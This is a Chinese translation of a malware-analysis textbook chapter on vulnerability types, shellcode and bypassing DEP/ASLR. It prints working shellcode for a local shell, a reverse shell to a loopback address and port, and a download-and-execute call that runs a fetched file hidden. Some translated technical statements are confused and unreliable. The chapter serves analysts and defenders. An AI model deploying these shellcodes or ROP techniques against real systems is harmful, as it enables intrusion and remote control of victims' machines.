精通恶意软件分析第二版(三)
原文:
annas-archive.org/md5/a5e642fcde320e26768a38bb6eadf732译者:飞龙
第八章:处理漏洞利用和 shellcode
在这个阶段,我们已经了解了不同类型的恶意软件。大多数恶意软件的共同点是它们是独立的,一旦进入目标系统便能自行执行。然而,并非所有情况都如此,其中一些恶意软件设计时需要借助目标合法应用程序才能正常工作。
在我们日常生活中,我们与多种软件产品交互,它们的功能各异,从展示猫咪图片到管理核电站。因此,有一个特定类别的威胁,旨在利用这些软件中隐藏的漏洞来实现它们的目的,无论是渗透系统、提升特权,还是崩溃目标应用程序或系统,从而破坏一些重要的进程。
本章将讨论漏洞利用以及如何分析它们。为此,我们将涵盖以下主题:
-
熟悉漏洞和漏洞利用
-
破解 shellcode
-
探索绕过漏洞利用缓解技术
-
分析 Microsoft Office 漏洞利用
-
研究恶意 PDF 文件
熟悉漏洞和漏洞利用
在本节中,我们将介绍存在的主要漏洞和漏洞利用类别,以及它们之间的关系。我们将解释攻击者如何利用一个或多个漏洞,在应用程序(甚至整个系统)上下文中执行未经授权的操作,从而控制应用程序(或整个系统)。
漏洞的类型
漏洞是指应用程序内部的错误或弱点,攻击者可以利用这些漏洞执行未经授权的操作。漏洞有多种类型,大多数是由于不安全的编码实践和错误引起的。你应该在处理任何由终端用户控制的输入时特别小心,包括环境变量和依赖模块。在本节中,我们将探讨最常见的漏洞类型,并了解攻击者如何利用它们。
栈溢出漏洞
栈溢出漏洞是最常见的漏洞之一,也是漏洞利用缓解技术通常首先解决的漏洞。近年来,由于引入了数据执行保护/不可执行(DEP/NX)技术,其风险已经得到了降低,相关内容将在《探索绕过漏洞利用缓解技术》一节中详细讨论。然而,在某些情况下,它仍然可以被成功利用,或者至少被用来执行拒绝服务(DoS)攻击。
让我们来看看以下用 C 语言编写的简单应用:
int vulnerable(char *arg)
{
char Buffer[80];
strcpy(Buffer, arg);
return 0;
}
int main (int argc, char *argv[])
{
// the command line argument
vulnerable(argv[1]);
}
如你所知,Buffer[80] 变量的空间(就像任何局部变量一样)是分配在栈上的,紧接着是 EBP 寄存器的值,它会在函数序言的开始时被压入栈中,之后是返回地址:
![图 8.1 – 栈中的局部变量表示]
图 8.1 – 栈中局部变量的表示
因此,通过简单地向该应用程序传递一个超过 80 字节的参数,攻击者可以覆盖所有的缓冲区空间,以及 EBP 和返回地址。这可以控制该应用程序在脆弱函数执行完毕后继续执行的地址。以下图示演示了如何用 shellcode 覆盖 Buffer[80] 和返回地址:
![图 8.2 – 用 shellcode 覆盖 Buffer[80] 和返回地址
图 8.2 – 用 shellcode 覆盖 Buffer[80] 和返回地址
这是最基本的栈溢出漏洞。现在,让我们来看看其他常见的漏洞类型,比如 堆溢出。
堆溢出漏洞
在这种情况下,受影响的变量将不会存储在栈中,而是存储在内存中的动态分配空间中,称为 malloc、HeapAlloc 或其他类似的 API。Windows 支持两种类型的堆:默认堆和私有堆(即动态堆);它们都遵循 _HEAP 结构。默认堆的地址存储在 PEB 结构中的 ProcessHeap 字段,并可以通过调用 GetProcessHeap API 获取;私有堆则通过如 HeapCreate 等 API 返回。所有堆地址(包括默认堆)都存储在一个由 PEB 中的 ProcessHeaps 字段指向的列表中。
与栈不同,堆并不存储返回地址,因此不易被利用,但也有其他方式可以滥用它。要理解这些,我们首先需要了解堆结构的一些基础知识。应用程序使用的数据存储在 _HEAP_SEGMENT 结构中,并通过 _HEAP 结构进行引用。所有堆块都包含一个头部(即 _HEAP_ENTRY 结构)和实际数据。然而,当堆块被标记为已释放时,在 _HEAP_ENTRY 结构之后,它会包含一个链表结构,_LIST_ENTRY,用于将空闲堆块连接起来。该结构包括指向前一个空闲堆块(BLink 字段)和下一个空闲堆块(FLink 字段)的指针;链表中的第一个和最后一个空闲堆块由 _HEAP 结构中的 FreeList 字段指向。当系统需要从该链表中移除一个已释放的堆块时(例如,当该块重新分配或在块合并过程中),将会发生解除链接操作。此操作涉及将下一个项的地址写入前一个项的下一个项,并将前一个项的地址写入下一个项的前一个项,从而将该块从链表中移除。相应的代码如下:
图 8.3 – 解除链接过程的示例代码
通过溢出堆上存储的变量,攻击者可能会覆盖相邻块的FLink和BLink值,这将使得在解除链接步骤中,可以在任何地址写入任何内容,如前面的截图所示。例如,这可以用来覆盖某个已存在函数的地址,该函数保证会在 shellcode 地址处执行,从而实现其执行。
随着时间的推移,已经引入了多种缓解措施来应对这一技术。从 Windows XP SP2 开始,由于引入了额外的检查,攻击者不得不从滥用FreeList转向滥用Lookaside列表以实现类似目的。从 Windows Vista 开始,除了其他更改外,Lookaside列表被替换为Encoding字段值,迫使攻击者探索不同的技术,如覆盖_HEAP结构。在 Windows 8 中,微软工程师引入了额外的检查和限制来对抗这一方法——这场斗争仍在继续。
使用后释放漏洞
尽管在 Windows 的后续版本中引入了所有的漏洞利用缓解措施,这种类型的漏洞仍然被广泛使用。这些漏洞在浏览器中的 JavaScript 或 PDF 文件等脚本语言中很常见。
当一个对象(内存中的一个结构,我们将在下一章详细介绍)在被释放后仍然被引用时,就会发生这种漏洞。假设代码看起来像这样:
OBJECT Buf = malloc(sizeof(OBJECT));
Buf->address_to_a_func = IsAdmin();
free(Buf);
.... <some code> ....
// execute this function after the buffer was freed
(Buf->address_to_a_func)();
在前面的代码中,Buf包含了IsAdmin函数的地址,该函数会在整个Buf变量在内存中被释放后执行。你认为address_to_a_func仍然会指向IsAdmin吗?也许会,但如果该区域在内存中被重新分配,并且由攻击者控制的另一个变量占用,它们可以将address_to_a_func的值设置为他们选择的地址。结果,这可能允许攻击者执行他们的 shellcode 并控制系统。
在vtable数组中。当vtable数组被覆盖并且其中任何函数被调用时,攻击者可以将执行重定向到他们的 shellcode。
整数溢出漏洞
如我们所知,整数值可以占用 1、2、4 或 8 字节。无论为存储它们分配了多少空间,总有一些数字太大,无法适应存储单元的范围。整数溢出漏洞发生在攻击者能够引入一个超出数据单元范围的数字时,这个数据单元本应存储该数字。例如,将一个字节大小的变量用来存储无符号整数256(100000000b),这将导致存储0(00000000b),因为只有最后 8 位能适应一个字节。这可能导致程序出现意外行为,进而有利于攻击者,比如分配一个长度为 0 的缓冲区,然后在其作用域之外写入数据。
逻辑漏洞
逻辑漏洞是指不需要内存损坏即可执行的漏洞。相反,它滥用应用程序逻辑以执行意外操作。一个很好的例子是CVE-2010-2729(MS10-061),被称为Windows 打印池服务漏洞,被 Stuxnet 恶意软件使用。让我们深入了解其工作原理。
Windows 打印 API 允许用户选择他们希望将要打印的文件复制到的目录。因此,使用名为GetSpoolFileHandle的 API,攻击者可以获取目标机器上新创建文件的文件句柄,然后轻松地使用WriteFile(或类似)API 在那里写入任何数据。这类漏洞针对应用程序逻辑,允许攻击者选择他们希望的目录,并提供文件句柄以覆盖此文件并写入他们想要的任何数据。
不同的逻辑漏洞是可能的,它们没有特定的格式。这就是为什么这些类型的漏洞没有通用的缓解措施的原因。然而,与内存损坏漏洞相比,它们仍然相对罕见,因为它们更难发现,并且并非所有漏洞都会导致任意代码执行。
还有其他类型的漏洞,但刚刚介绍的这些类型是您可能会遇到的其他类型漏洞的基石。
现在我们已经介绍了攻击者如何强制应用程序执行其代码,让我们看看这段代码是如何编写的以及攻击者在编写时面临的挑战。
利用类型
一般来说,利用是利用软件中的漏洞执行意外行为的一段代码或数据。利用可以按多种方式分类。首先,除了它们所针对的漏洞之外,当我们谈论利用时,弄清楚正在执行的动作的实际结果至关重要。以下是一些最常见的类型:
-
拒绝服务(DoS):在这里,利用的目标是崩溃应用程序或整个系统,以破坏其正常操作。
-
权限提升:在这种情况下,利用的主要目的是提升权限,以赋予攻击者更大的能力,比如访问更敏感的信息。
-
未经授权的数据访问:这一组有时与权限提升类别合并,但在范围和向量上有所不同。在这里,攻击者可以访问未经授权的敏感信息,这些信息在正常情况下,根据权限设置,是无法获得的。与前一类别不同,攻击者在这种情况下不能使用不同权限执行任意操作,并且所使用的权限不一定更高 - 它们可能与具有类似访问级别的不同用户相关联。
-
任意代码执行(ACE):可能是最强大且最危险的一类,它允许攻击者执行任意代码并几乎执行任何操作。这段代码通常称为 shellcode,接下来会更详细地介绍。当代码通过网络远程执行时,我们所说的就是远程代码执行(RCE)。
根据漏洞利用与目标软件的通信位置,可以将其分为以下几类:
-
本地漏洞利用:在这里,漏洞是在目标机器上执行的,因此攻击者应该已经建立了对该机器的访问权限。常见的例子包括具有 DoS 或权限提升功能的漏洞。
-
远程漏洞利用:这一类漏洞针对远程机器,这意味着它们可以在没有预先访问目标系统的情况下执行。一个常见的例子是 RCE 漏洞,这种漏洞会授予这种访问权限,但远程 DoS 漏洞也非常常见。
最后,如果漏洞利用针对的是一个尚未正式解决和修复的漏洞,那么它被称为零日漏洞。
现在,深入探讨 shellcode 的各个方面。
破解 shellcode
在这一部分,我们将看看攻击者在利用漏洞时执行的代码。这段代码在没有头文件和已知内存地址的特殊条件下执行。让我们了解什么是 shellcode,以及如何为 Linux(Intel 和 ARM 处理器)编写 shellcode,稍后还会介绍 Windows 操作系统。
什么是 shellcode?
Shellcode 是一组精心设计的指令,一旦代码被注入到正在运行的应用程序中,就可以执行。由于大多数漏洞的情况,shellcode 必须是位置独立的代码(意味着它不需要在内存中的特定位置运行,也不需要基址重定位表来修复其地址)。Shellcode 还必须在没有可执行头文件或系统加载器的情况下操作。对于某些漏洞利用,shellcode 不能包含某些字节(特别是字符串类型缓冲区溢出时的空字节)。
现在,让我们看看 Windows 和 Linux 中的 shellcode 长什么样。
Linux 下的 x86-64 架构 shellcode
Linux 下的 shellcode 通常比 Windows 下的 shellcode 更简单排列。一旦程序计数器寄存器指向 shellcode,shellcode 就可以连续执行系统调用,来生成一个 shell、监听一个端口,或与攻击者建立连接,几乎不需要任何努力(关于 Linux 中系统调用的更多信息,可以查看第十一章,解剖 Linux 和 IoT 恶意软件)。攻击者面临的主要挑战如下:
-
获取 shellcode 的绝对地址(以便能够访问数据)
-
从 shellcode 中移除任何空字节(可选)
现在,让我们来看看如何克服这些挑战。之后,我们将探讨不同类型的 shellcode。
获取绝对地址
这是一项相对简单的任务。这里,shellcode 滥用 call 指令,它将绝对返回地址保存在栈中(shellcode 可以通过 pop 指令获取该地址)。
这方面的一个例子如下:
call next_ins
next_ins:
pop eax ; now eax stores the absolute address of next_ins
在获取绝对地址后,shellcode 可以获取其中任何数据的地址,如下所示:
call next_ins
next_ins:
pop eax ; now eax has the absolute address of next_ins
add eax, <data_sec – next_ins> ; now, eax stores the address of the data section
data_sec:
db 'Hello, World',0
另一种常见的获取绝对地址的方法是使用 fstenv FPU 指令。该指令保存一些与 FPU 相关的调试参数,包括最后执行的 FPU 指令的绝对地址。可以像这样使用此指令:
_start:
fldz
fstenv [esp-0xc]
pop eax
add eax, <data_sec – _start>
data_sec:
db 'Hello, World', 0
如你所见,shellcode 成功地获取了最后执行的 FPU 指令 fldz 的绝对地址,或者在这个例子中是 _start 的地址,这有助于获取 shellcode 中任何所需数据或字符串的地址。
无空字节的 shellcode
无空字节的 shellcode 是一种必须避免任何空字节以适应空终止字符串缓冲区的 shellcode。编写这种 shellcode 的作者必须改变他们编写代码的方式。让我们来看一个例子。
对于我们之前描述的 call/pop 方法,它们将被组装成以下字节:
图 8.4 – 在 OllyDbg 中的 call/pop
如你所见,由于调用指令使用了相对地址,它产生了 4 个空字节。为了处理这种情况,shellcode 的编写者需要让相对地址为负数。像这样的情况可以正常工作:
图 8.5 – 在 OllyDbg 中的 call/pop,没有空字节
下面是一些恶意软件作者为避免空字节所做的其他修改示例:
如你所见,在 shellcode 中执行这个并不难。你会发现,来自不同漏洞利用的绝大多数 shellcode(甚至是 Metasploit 中的 shellcode)都经过设计避免了空字节,即使漏洞利用本身不一定需要。
本地 shell shellcode
让我们从一个简单的例子开始,来启动一个 shell:
jmp _end
_start:
xor ecx, ecx
xor eax, eax
pop ebx ; load /bin/sh in ebx
mov al, 11 ; execve syscall ID
xor ecx, ecx ; no arguments in ecx
int 0x80 ; syscall
mov al, 1 ; exit syscall ID
xor ebx,ebx ; no errors
int 0x80 ; syscall
_end:
call _start
db '/bin/sh',0
让我们仔细看看这段代码:
-
首先,它执行
execve系统调用来启动一个进程,在这个例子中是/bin/sh,即 shell。 -
execve系统调用的原型如下所示:int execve(const char *filename, char *const argv[], char *const envp[]); -
它通过使用 call/pop 技术获取绝对地址,将文件名
/bin/sh设置到ebx中。 -
在这种情况下不需要指定额外的命令行参数,所以
ecx被设置为零(xor,ecx,ecx以避免空字节)。 -
在 shell 终止后,shellcode 执行
exit系统调用,其定义如下:void _exit(int status); -
它将状态设置为零,在程序正常退出时将
ebx设为零。
在这个例子中,你已经看到 shellcode 如何通过启动 /bin/sh 来为攻击者提供一个 shell。对于 x64 版本,有一些不同之处:
-
int 0x80被一个特殊的 Intel 指令syscall替代。 -
execve系统调用的 ID 已更改为 0x3b (59),而exit的 ID 更改为 0x3c (60)。要知道每个 ID 代表什么功能,请查看官方的 Linux 系统调用表。 -
它使用
rdi作为第一个参数,rsi作为下一个参数,接着是rdx、rcx、r8、r9,其余的在栈中。
代码将如下所示:
xor rdx, rdx
push rdx ; null bytes after the /bin/sh
mov rax, 0x68732f2f6e69622f ; /bin/sh
push rax
mov rdi, rsp
push rdx ; null arguments for /bin/sh
push rdi
mov rsi, rsp
xor rax, rax
mov al, 0x3b ; execve system call
syscall
xor rdi, rdi
mov rax, 0x3c ; exit system call
syscall
如你所见,在 shellcode 方面,x86 和 x64 之间并没有太大区别。现在,让我们看看更高级的 shellcode 类型。
反向 shell shellcode
反向 shell shellcode 是最广泛使用的 shellcode 类型之一。这个 shellcode 会连接到攻击者,并在远程系统上为攻击者提供一个 shell,以便完全访问远程机器。为实现这一目标,shellcode 需要按照以下步骤执行:
-
socket。这是该函数的定义:int socket(int domain, int type, int protocol);
你通常会看到它这样使用:
socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
在这里,AF_INET 代表大多数已知的互联网协议,包括 IPPROTO_IP(即 IP 协议)。SOCK_STREAM 用于表示 TCP 通信。从这个系统调用中,你可以理解这个 shellcode 正通过 TCP 与攻击者进行通信。汇编代码如下所示:
xor edx, edx ; cleanup edx
push edx ; protocol=IPPROTO_IP (0x0)
push 0x1 ; socket_type=SOCK_STREAM (0x1)
push 0x2 ; socket_family=AF_INET (0x2)
mov ecx, esp ; pointer to socket() args
xor ebx, ebx
mov bl, 0x1 ; SYS_SOCKET
xor eax,eax
mov al, 0x66 ; socketcall syscall ID
int 0x80
xchg edx, eax ; edx=sockfd (the returned socket)
在这里,shellcode 使用了 socketcall 系统调用(ID 为 0x66)。该系统调用表示多个系统调用,包括 socket、connect、listen、bind 等。在 ebx 中,shellcode 设置要从 socketcall 列表中执行的函数。以下是 socketcall 支持的函数列表的一个片段:
SYS_SOCKET 1
SYS_BIND 2
SYS_CONNECT 3
SYS_LISTEN 4
SYS_ACCEPT 5
shellcode 将参数压入栈中,然后将 ecx 设置为指向参数列表,将 ebx = 1(即 SYS_SOCKET),将系统调用 ID 设置到 eax(即 socketcall),接着执行系统调用。
-
sockaddr_in包含 IP、端口,并且再次使用AF_INET。接着,shellcode 执行socketcall函数列表中的connect函数。其原型如下所示:int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
汇编代码将如下所示:
push 0x0101017f ; sin_addr=127.1.1.1 (network byte order)
xor ecx, ecx
mov cx, 0x3905
push cx ; sin_port=1337 (network byte order)
inc ebx
push bx ; sin_family=AF_INET (0x2)
mov ecx, esp ; save pointer to sockaddr struct
push 0x10 ; addrlen=16
push ecx ; pointer to sockaddr
push edx ; sockfd
mov ecx, esp ; save pointer to sockaddr_in struct
inc ebx ; sys_connect (0x3)
int 0x80 ; exec sys_connect
-
dup2会将标准输入、输出和错误输出重定向到 socket。以下是该步骤的汇编代码:push 0x2 pop ecx ; set loop counter xchg ebx, edx ; save sockfd ; loop through three sys_dup2 calls to redirect stdin(0), stdout(1) and stderr(2) loop: mov al, 0x3f ; sys_dup2 systemcall ID int 0x80 dec ecx ; decrement loop-counter jns loop ; as long as SF is not set -> continue
在前面的代码中,shellcode 将 stdin (0)、stdout (1) 和 stderr (2) 替换为 sockfd(即 socket 句柄),从而将任何输入、输出和错误分别重定向到攻击者。
- 如我们在上一节中看到的,
execve调用使用/bin/sh。
现在,你已经看到了更高级的 shellcode,你可以理解大多数知名的 shellcode 以及它们背后的方法论。对于绑定 shell 或下载并执行 shellcode,代码非常相似,且使用类似的系统调用,可能只有一两个额外的函数。在分析 shellcode 时,你需要先了解每个系统调用的定义以及它需要的参数。
这就是 x86(32 位和 64 位)的情况。现在,让我们简要看一下 ARM shellcoding 及其与 x86 之间的区别。
ARM 的 Linux shellcode
ARM 系统上的 shellcode 与使用 x86 指令集的 shellcode 非常相似。实际上,ARM 上的 shellcode 编写起来更加简单,因为不需要使用 call/pop 技术或 fstenv 来获取绝对地址。在 ARM 汇编语言中,你可以直接从代码中访问程序计数器寄存器 (pc),这使得编写代码变得更为简单。与 int 0x80 或 syscall 不同,ARM shellcode 使用 svc #0 或 svc #1 来执行系统函数。以下是一个用于执行本地 shell 的 ARM shellcode 示例:
_start:
add r0, pc, #12
mov r1, #0
mov r2, #0
mov r7, #11 ; execve system call ID
svc #1
.ascii "/bin/sh\0"
在前面的代码中,shellcode 设置 r0 为程序计数器 (pc) + 12,指向 /bin/sh 字符串。然后,它设置 execve 系统调用的其余参数,并调用 svc 指令来执行代码。
无空值 shellcode
ARM 指令通常是 32 位指令。然而,许多 shellcode 会切换到 Thumb 模式,这会将指令设置为 16 位,从而减少了出现空字节的概率。为了让 shellcode 切换到 Thumb 模式,通常会使用 BX 或 BLX 指令。
执行后,所有指令都会切换到 16 位模式,这大大减少了空字节的出现。通过使用 svc #1 代替 svc #0,并避免使用包含空字节的立即数和指令,shellcode 可以达到无空值的目标。
在分析 ARM shellcode 时,确保在模式切换到 16 位而非 32 位后,反汇编所有指令。
现在我们已经讲解了适用于 Intel 和 ARM 处理器的 Linux shellcode,让我们来看一下 Windows shellcode。
Windows shellcode
Windows shellcode 比 Linux shellcode 更加复杂。在 Windows 中,你无法像在 Linux 中那样直接使用 sysenter 或中断,因为系统函数 ID 会随版本变化。Windows 提供了接口来访问其库中的功能,例如 kernel32.dll。Windows shellcode 必须找到 kernel32.dll 的基地址,并通过其导出表获取所需的 API 以实现其功能。在处理套接字 API 时,攻击者可能需要通过 LoadLibraryA/LoadLibraryExA 加载额外的 DLL。
Windows shellcode 按照以下步骤实现其目标:
-
获取绝对地址(我们在前一部分已经讲解过)。
-
获取
kernel32.dll的基地址。 -
从
kernel32.dll获取所需的 API。 -
执行有效载荷。
现在我们已经讲解了 shellcode 如何获取绝对地址,接下来我们来看看它是如何获取 kernel32.dll 的基地址的。
获取 kernel32.dll 的基地址
kernel32.dll 是 shellcode 使用的主要 DLL。它包含像 LoadLibrary 这样的 API,用于加载其他库,还有 GetProcAddress,可以获取加载到内存中的库中任意 API 的地址。
要访问任何 DLL 中的任何 API,shellcode 必须获取 kernel32.dll 的地址并解析其导出表。当应用程序加载到内存中时,Windows 操作系统会加载其核心库,如 kernel32.dll 和 ntdll.dll,并将这些库的地址及其他信息保存在 PEB 中的 kernel32.dll 中,如下所示(对于 32 位系统):
mov eax,dword ptr fs:[30h]
mov eax,dword ptr [eax+0Ch]
mov ebx,dword ptr [eax+1Ch]
mov ebx,dword ptr [ebx]
mov esi,dword ptr [ebx+8h]
第一行从 FS 段寄存器获取 PEB 地址(在 x64 中,它将是 GS 寄存器,并具有不同的偏移量)。然后,第二行和第三行获取 PEB->LoaderData->InInitializationOrderModuleList。
InInitializationOrderModuleList 是一个 DLL,其中包含关于所有已加载模块(PE 文件)在内存中的信息(如 kernel32.dll、ntdll.dll 和应用程序本身),以及基地址、文件名和其他信息。
在 InInitializationOrderModuleList 中,你将看到的第一个条目是 ntdll.dll。为了获取 kernel32.dll,shellcode 必须转到列表中的下一个项。因此,在第四行,shellcode 在跟踪前向链接(ListEntry->FLink)时获取下一个项。它从第五行获得有关 DLL 的可用信息来获取基地址。
从 kernel32.dll 获取所需的 API
为了让 shellcode 能够访问 kernel32.dll 的 API,它需要解析其导出表。导出表由三个数组组成。第一个数组是 AddressOfNames,其中包含 DLL 文件中 API 的名称。第二个数组是 AddressOfFunctions,它包含所有这些 API 的相对地址(RVAs):
图 8.6 – 导出表结构(数字不是真实的,仅作为示例)
然而,这里存在的问题是,这两个数组的对齐方式不同。例如,GetProcAddress 可能在 AddressOfNames 的第三项中,但它在 AddressOfFunctions 的第五项中。
为了处理这个问题,Windows 创建了一个名为 AddressOfNameOrdinals 的第三个数组。该数组与 AddressOfNames 对齐,并包含 AddressOfFunctions 中每个项的索引。请注意,AddressOfFunctions 和 AddressOfNameOrdinals 比 AddressOfNames 多项,因为并非所有 API 都有名称。没有等效名称的 API 使用它们的 ID(即在 AddressOfNameOrdinals 中的索引)进行访问。导出表看起来大致如下:
图 8.7 – 导出表解析器(winSRDF 项目)
为了让 shellcode 获取其所需 API 的地址,它应该在 AddressOfNames 中搜索所需 API 的名称,然后取出其索引,并在 AddressOfNameOrdinals 中搜索该索引,以找到在 AddressOfFunctions 中该 API 对应的索引。通过这种方式,它将能够获取该 API 的相对地址。shellcode 将这些地址与 kernel32.dll 的基地址相加,从而得到该 API 的完整地址。在大多数情况下,shellcode 通常不将 API 名称与它需要硬编码的字符串进行匹配,而是使用其哈希值(更多信息请参见 第六章,绕过反向工程技术)。
下载并执行的 shellcode
该 shellcode 使用了位于 urlmon.dll 中的一个 API,名为 URLDownloadToFileA。顾名思义,它从给定的 URL 下载文件并将其保存在硬盘中,当它提供了所需的路径时。此 API 的定义如下:
URLDownloadToFile(LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName, _Reserved_ DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB);
只需要 szURL 和 szFilename。其余的参数通常设置为 null。文件下载完成后,shellcode 会使用 CreateProcessA、WinExec 或 ShellExecute 执行该文件。对应的 C 代码可能如下所示:
URLDownloadToFileA(0,"https://localhost:4444/calc.exe","calc.exe",0,0); WinExec("calc.exe",SW_HIDE);
正如你所看到的,payload 非常简单,却非常有效地执行了攻击的第二阶段,这可能是一个后门,用于维持持久性,并与攻击者通信,窃取有价值的信息。
漏洞的静态与动态分析
现在我们已经了解了漏洞的样子以及它们的工作原理,接下来总结一些分析漏洞时的实用技巧和窍门。
分析工作流程
首先,你需要仔细收集任何先前的知识:漏洞是在哪种环境中发现的,是否已经知道了被攻击的软件及其版本,以及漏洞是否已经成功触发。所有这些信息将帮助你正确模拟测试环境,并成功重现预期的行为,这对于动态分析非常有帮助。
其次,确认攻击载荷如何与目标应用程序交互也很重要。通常,攻击载荷通过预期的输入通道传递(无论是监听的套接字、Web 表单或 URI,还是可能是格式不正确的文档、配置文件或 JavaScript 脚本),但也可能有其他被忽视的选项(例如,环境变量和依赖模块)。此时,下一步是使用这些信息成功重现攻击过程,并识别可以确认攻击的指示器。例如,目标应用程序可能会以某种特定方式崩溃,或执行特定的操作,可以通过适当的系统监控工具看到(例如,监控文件、注册表或网络操作或访问的 API)。如果涉及 Shellcode,其分析可能会提供有关预期攻击后行为的有价值信息。
在此之后,你需要识别目标漏洞。MITRE 公司通过为所有公开已知的漏洞分配相应的常见漏洞和暴露(CVE)标识符,来维护一个漏洞列表,便于参考(例如,CVE-2018-9206)。有时,可能已经通过杀毒软件检测或公开发布知道该漏洞,但无论如何,最好进行确认。
首先检查独特的字符串,因为它们可能会给你提供关于目标软件交互部分的线索。与大多数其他类型的恶意软件不同,静态分析在这种情况下可能不够。由于攻击载荷与目标软件密切合作,因此需要在其上下文中进行分析,这在许多情况下需要动态分析。
在这里,你需要使用自己偏好的调试器拦截攻击载荷的交付时刻,但此时载荷尚未被处理。之后,可以通过多种方式继续分析。一种方法是仔细检查负责处理该载荷的高层函数(无需逐个进入每个函数),并监视触发时刻。一旦触发,就有可能缩小搜索范围,集中精力分析已识别函数的子函数。然后,工程师可以重复此过程,直到找到漏洞为止。
另一种方法是先在攻击载荷中搜索可疑条目(如损坏的字段、具有高熵的大二进制块、包含十六进制符号的长行等),并监视目标软件如何处理它们。如果涉及到 Shellcode,可以在其开头用断点或无限循环指令修补(分别为(\xCC和\xEB\xFE),然后执行重现攻击的步骤,等待插入的指令执行,并检查堆栈跟踪,以查看哪些函数被调用以达到这一点。
总体而言,通常建议在虚拟化环境或仿真环境中进行动态分析,因为在漏洞利用的情况下,发生错误并失去执行控制的可能性更大。因此,能够恢复先前的调试和环境状态是非常方便的。
这些技术是通用的,可以应用于几乎所有类型的漏洞利用。无论工程师是否需要分析浏览器漏洞(通常是用 JavaScript 编写的)或本地权限提升代码,区别主要在于测试环境的设置。
Shellcode 分析
如果您需要分析二进制 shellcode,您可以使用适用于目标架构和平台的调试器(例如 32 位 Windows 的 OllyDbg),通过复制 shellcode 的十六进制表示并使用二进制粘贴选项来进行分析。还可以使用unicorn、libemu(一个小型 x86 指令仿真库)或Pokas x86 Emulator等工具,这些工具是pySRDF项目的一部分,用于仿真 shellcode。其他有用的动态分析工具包括scdbg和qltool(qiling框架的一部分)。
另一种流行的解决方案是将其转换为可执行文件。之后,您可以像分析任何常见的恶意软件样本一样,静态和动态分析它。一种选择是使用shellcode2exe.py脚本,但不幸的是,它的一个核心依赖不再受支持,因此可能难以设置。另一种选择是通过将 shellcode 复制并粘贴到相应的模板中,手动编译可执行文件:
unsigned char code[] = {<output of xxd –i against the shellcode>};
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
可能需要将执行标志添加到数据段中,以使 shellcode 可执行。
最后,您还可以直接在调试器中打开任何可执行文件,然后将 shellcode 粘贴到现有代码中。例如,在 x64dbg 中,可以通过右键单击并选择Binary | **Paste (Ignore Size)**来完成。
为了分析 ROP 链,您需要访问目标应用程序和系统,以便在那里动态解析实际指令。
探索绕过漏洞利用缓解技术
由于即使在对软件开发人员进行安全编码培训和意识提升后,同样类型的漏洞仍然不断出现,因此已经引入了新的方法来减少这些漏洞的影响并使其无法用于远程代码执行。
特别是,各种级别的多种漏洞利用缓解技术已经被开发出来,使攻击者很难甚至不可能成功执行他们的 shellcode。我们来看看为此目的创建的一些最著名的缓解措施。
数据执行防护(DEP/NX)
数据执行防护(DEP)是最早被提出用于防止漏洞和 shellcode 攻击的技术之一。其背后的理念是阻止在任何没有EXECUTE权限的内存页内执行代码。此技术可以通过硬件支持,一旦 shellcode 在栈或堆(或任何没有此权限的内存位置)中执行,就会引发异常。
这项技术并未完全阻止攻击者执行他们的有效载荷并利用内存损坏漏洞。他们发明了一种新技术来绕过 DEP/NX,称为面向返回的编程(ROP)。
面向返回的编程
ROP 的主要思路是,攻击者不直接设置返回地址指向 shellcode,而是将返回地址设置为重定向执行到程序内部或其任何模块中的现有代码,并通过链式指令重现 shellcode。这些被误用的小段代码大致如下:
mov eax, 1
pop ebx
ret
例如,在 Windows 上,攻击者可以尝试将执行重定向到VirtualProtect API,改变栈(或堆)中 shellcode 所在部分的权限,并执行该 shellcode。或者,可以使用VirtualAlloc和memcpy,或WriteProcessMemory、HeapAlloc及任何内存复制 API,或SetProcessDEPPolicy和NtSetInformationProcess等 API 来禁用 DEP。
这里的技巧是使用模块的导入地址表(IAT)来获取这些 API 的地址,从而攻击者可以将执行重定向到该 API 的开头。在 ROP 链中,攻击者将所有这些 API 所需的参数放置好,接着返回到他们希望执行的 API。下面是一个例子:
图 8.8 – CVE-2018-6892 漏洞的 ROP 链
一些 ROP 链可以在不返回 shellcode 的情况下执行所需的有效载荷。有一些自动化工具帮助攻击者搜索这些小型代码片段,并构造有效的 ROP 链。mona.py就是其中一个工具,它是 Immunity Debugger 的插件。
如你所见,仅有 DEP 并不能阻止攻击者执行他们的 shellcode。然而,结合地址空间布局随机化(ASLR)这两种防御技术,使得攻击者很难成功执行有效载荷。让我们来看一下 ASLR 是如何工作的。
地址空间布局随机化
ASLR 是一种缓解技术,被多个操作系统使用,包括 Windows 和 Linux。其背后的想法是随机化应用程序和 DLL 在进程内存中的加载地址。系统不再使用预定义的 ImageBase 值作为基址,而是使用随机地址,这使得攻击者很难构造他们的 ROP 链,因为这些链通常依赖于组成它的指令的静态地址。
现在,让我们来看一些常见的绕过方式。
DEP 和部分 ASLR
为了使 ASLR 生效,要求应用程序及其所有库在编译时启用 ASLR 标志,例如 GCC 编译器的 -fstack-protector 或 -pie -fPIE,但这并非总是可能的。如果至少有一个模块不支持 ASLR,攻击者就有可能在该模块中找到所需的 ROP 工具。这对于有大量由第三方编写的插件的工具或使用多个不同库的应用程序尤其如此。虽然 kernel32.dll 的基址仍然是随机化的(因此攻击者不能直接返回到 API 内部),但它可以通过已加载的非 ASLR 模块的导入表轻松访问。
DEP 和完整的 ASLR – 部分 ROP 和多重漏洞链
在所有库都支持 ASLR 的情况下,编写利用代码会变得更加困难。已知的技术是将多个漏洞链在一起。例如,一个漏洞负责信息泄露,另一个漏洞负责内存损坏。信息泄露漏洞可能会泄露一个模块的地址,帮助基于该地址重建 ROP 链。利用代码可能包含一个仅由 RVA(相对地址,不包含基地址值)组成的 ROP 链,并实时利用信息泄露漏洞泄露地址,从而重建 ROP 链并执行 shellcode。这种类型的利用在脚本语言中更为常见,例如,利用 JavaScript 攻击漏洞。利用这种脚本语言的强大功能,攻击者可以在目标机器上构造 ROP 链。
